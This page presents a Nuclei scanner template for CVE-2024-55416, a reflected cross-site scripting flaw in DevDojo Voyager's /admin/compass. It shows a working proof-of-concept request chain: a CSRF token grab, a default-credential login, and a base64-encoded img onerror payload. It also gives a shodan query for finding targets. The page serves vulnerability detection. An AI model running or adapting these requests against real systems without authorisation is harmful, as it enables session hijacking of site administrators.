DevDojo Voyager <=1.8.0 - Cross-Site Scripting

ID: CVE-2024-55416

Severity: low

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,devdojo,xss,authenticated

Description

DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.

YAML Source

id: CVE-2024-55416

info:
  name: DevDojo Voyager <=1.8.0 - Cross-Site Scripting
  author: iamnoooob,rootxharsh,pdresearch
  severity: low
  description: |
    DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cve-id: CVE-2024-55416
    epss-score: 0.00045
    epss-percentile: 0.1783
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Voyager"
  tags: cve,cve2024,devdojo,xss,authenticated

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c= HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    matchers:
      - type: dsl
        dsl:
          - "contains(location,'/admin/compass')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?logs=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502203ceaf59e6131b639ef3dac447d8c7cd72c6d9b9028cf5e531b2e56df2f5941d8022100a823851733f8b9a124a1e93bae024e2ddc181cf02706fa294387352491724545:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-55416.yaml"

View on Github